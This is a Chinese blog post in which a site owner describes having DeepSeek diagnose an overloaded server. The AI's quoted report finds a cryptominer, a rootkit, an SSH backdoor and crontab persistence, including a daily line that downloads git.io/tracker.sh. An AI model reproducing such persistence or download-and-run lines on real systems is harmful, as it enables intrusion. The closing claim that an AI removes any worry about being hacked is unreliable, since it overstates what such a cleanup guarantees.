过去一年中,我这个站点经常无法访问,我一度以为是我服务器配置不行,Mysql经常被停止运行,服务器CPU、RAM持续满载状态,有时候网页都打不开,加上近一年空投行业不景气,网站也基本没有更新过文章了。
最近一直关注OVH的服务器,想换个杜甫来迁移网站,但是OVH11刀那款一直没货,也就一直没换成,今天突发奇想,将deepseek接入我后台的宝塔面板,让它分析,同时我也部署了Hermes,但是宝塔的分析更快我接入的deepseek官方API,Hermes的用的opencodego,宝塔先分析出来结果:“我这个服务器是搭建网站的服务器,但是经常CPU满载,ram也几乎满载,导致经常MYSQL停止运行,帮我检查,不动网站,不要做高危操作,检查是否有木马在运行,不然我才4个网站怎么4核心8g的服务器长时间过载”,几分钟就分析完。给出的结果是:
“第一轮证据已经很关键,先说两个重大发现:
- 发现挖矿木马进程
llda(PID 12799):占 CPU 272%,已运行 63 天,父进程是 1(被植入后脱离终端常驻)——这正是你 CPU 满载的元凶。 - 内存 7.8G 已用 7.0G,swap 3G 用了 2.3G,可用仅 465M——MySQL 停运大概率是内存耗尽被系统 OOM 杀掉的。
- 另外 Fail2Ban 正在高频拦截 SSH 爆破(说明这台机器正在被暴力破解,很可能木马就是这样进来的)。
继续深挖木马的落盘位置、持久化方式(crontab)、网络外连和 OOM 记录,全部只读。”
木马已经确认,而且 MySQL 被 OOM 杀死的记录非常清楚(近一周被杀了 10 次,其中 8 月 12 日那次就是木马进程 kworkelr 自己触发的)。继续查清木马的残留文件、网络外连、持久化后门和内存大头,仍是只读:
排查完成,证据链已经完整。结论先给你:这台服务器确实被入侵了,正在被挖矿木马控制,你的 4 核 8G 被吃满不是网站多,是木马 + 配置超配。全程只做了只读检查,没有动任何东西。
一、核心结论:确实有木马,且是 rootkit 级入侵
| 恶意组件 | 位置/进程 | 作用 |
|---|---|---|
挖矿主进程 llda(内部名 kworkelr) | PID 12799,CPU 272%,已跑 63 天 | 挖矿(XMRig),连接矿池 142.248.80.25:10020 |
| 守护进程 | PID 12794/12797 /usr/lib/systemd/systemd-kworkerd | 看门狗,负责拉起挖矿进程 |
| Rootkit | /etc/profile.d/gateway.sh | 覆盖 ps/ss/ls/netstat 函数,过滤输出中带 .mod、system.pub、bash.cfg 等关键词的行,隐藏木马进程和文件 |
| 后门二进制 | /etc/profile.d/bash.cfg(5MB Go 静态 ELF)+ bash.cfg.sh | 由登录 shell 触发执行 |
| SSH 后门 | /usr/bin/.sshd(PID 2471) | 隐藏的 SSH 后门进程 |
| 后门公钥 | /root/.ssh/authorized_keys(不包含你的本机公钥,1 月 23 日写入) | 攻击者保留的 root SSH 入口 |
| 开机/定时持久化 | crontab:@reboot sleep 2100 && systemd-kworkerd、每天 7 点 wget git.io/tracker.sh;systemd:systemd-kworkerd.service/timer | 重启后自动复活 + 每天联网更新 |
木马还利用了机器上的 aria2(RPC 6800 端口)作为下载/通信通道,/root/.aria2c/aria2.log 已膨胀到 1.48GB。
二、CPU / 内存 / MySQL 停止的真正原因
CPU 满载:llda 挖矿进程单点吃掉 272% CPU(约 2.7 核),这才是元凶;Fail2Ban 正在高频拦截 SSH 爆破(如 4.204.40.180),瞬时也有几十 % 消耗。
内存满载:php-fpm 当前 70 个进程(PHP7.2:10、PHP8.0:30、PHP8.3:30),每个约 100MB RSS,合计约 7GB。三个 PHP 版本的 pm.max_children 分别是 150/150/120——理论最大 420 个进程 ≈ 40GB+,8G 内存配置严重超配。加上挖矿进程、fail2ban(193MB)、面板(112MB) 等,内存被吃满,swap 3G 已用 2.3G。
MySQL 停运(铁证):dmesg 显示 8/11 至今天,mysqld 被 OOM Killer 强杀至少 10 次,MySQL 日志确认每次都是 Database was not shutdown normally! 崩溃恢复。最典型的一次:8/12 20:49 是挖矿进程 kworkelr 自己触发 oom-killer,最后 mysqld 被选为牺牲者被杀。内存被 php-fpm 和挖矿占满,MySQL 成了替罪羊。
三、为什么 4 个网站也能过载
不是网站多,是:1 个木马占 2.7 核 + 70 个 php-fpm 占满 7G 内存 + SSH 持续被爆破,三者叠加,8G 内存必然 OOM。
四、清理方案(需要你确认后我才执行,本轮未动)
A. 紧急止血(约 5 分钟)
- 强杀 PID 12799、12794、12797、2471
- 清 crontab 两条恶意条目(
@reboot systemd-kworkerd、git.io/tracker.sh) systemctl disable --now systemd-kworkerd.timer systemd-kworkerd.service,删除/usr/lib/systemd/systemd-kworkerd、/lib/systemd/systemd-kworkerd、两个 .service/.timer 文件- 删除
/etc/profile.d/gateway.sh、/etc/profile.d/bash.cfg、bash.cfg.sh、/usr/bin/.sshd - 删除
authorized_keys中不是你本机的那条公钥(保留你本地id_ed25519.pub) - 防火墙封禁矿池 IP
142.248.80.25
B. 防复发(建议)
7. 立即修改 root 密码、面板密码、数据库密码、FTP 密码;SSH 改为密钥登录 + 禁密码
8. 停用/卸载被利用的 aria2、cloud-torrent(如果不常用)
9. php-fpm 三个池的 max_children 降到 20-30(按单进程约 80MB 计算),避免再 OOM
C. 最稳妥选项:由于已确认是 rootkit 级入侵(有隐藏后门公钥、.sshd、Go 后门二进制),清理后无法 100% 保证无残留。如果数据有异地备份,最干净的做法是备份网站+数据库后重装系统再部署。这个由你权衡。
我授权deepseek操作清理之后,服务器CPU占用直接跌到30%,网站打开几乎秒开了。
现在不用学linux相关,直接把服务器接入AI,帮你优化服务器,清理木马,可以专心写作,不用担心服务器被黑。

coinowo





评论前必须登录!
注册